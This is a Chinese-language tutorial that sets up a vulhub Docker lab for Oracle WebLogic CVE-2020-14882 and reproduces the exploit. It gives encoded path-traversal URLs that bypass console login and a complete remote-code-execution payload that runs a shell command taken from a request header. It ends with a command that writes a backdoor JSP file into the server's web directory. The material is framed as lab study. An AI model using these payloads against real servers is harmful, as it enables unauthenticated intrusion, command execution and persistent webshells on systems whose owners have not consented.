关于WebLogic环境搭建和漏洞复现

一、环境搭建

使用kali系统安装docker，再在docker上安装环境，这里以CVE-2020-14882为例

在kali进入root用户，输入

git clone https://github.com/vulhub/vulhub.gitcd ./vulhub/weblogic/CVE-2020-14882//此命令需要python3环境，详见
curl -s https://bootstrap.pypa.io/get-pip.py | python3//此命令需要安装docker服务，详见
service docker startpip install docker-composedocker-compose up -d

安装完成后，若能成功访问http://kali-IP:7001/console,即部署完成

二、漏洞复现

1）Oracle WebLogic Server 远程代码执行漏洞（CVE-2020-14882）

漏洞描述

未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求，利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件，且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后，远程且未经授权的攻击者可以直接在服务端执行任意代码，获取系统权限。

漏洞影响

Oracle WebLogic Server，版本10.3.6.0，12.1.3.0，12.2.1.3，12.2.1.4，14.1.1.0

在登陆界面地址栏输入任意一条

http://kali-IP:7001/console/images/%252E%252E%252Fconsole.portalhttp://kali-IP:7001/console/css/%25%32%65%25%32%65%25%32%66console.portal//大写换成小写可绕过http://kali-IP:7001/console/css/%252e%252e%252fconsole.portal

即可绕过检测非法登录到后台

成功登录后，开启burpsuite刷新页面进行抓包，利用reperter模块进行命令输入

运用post提交方式:

/console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt();

创建cmd运行框或者写入后门文件：cmd:whoami && pwd & echo 'this is a test!' > /u01/oracle/wlserver/server/lib/consoleapp/webapp/images/test.jsp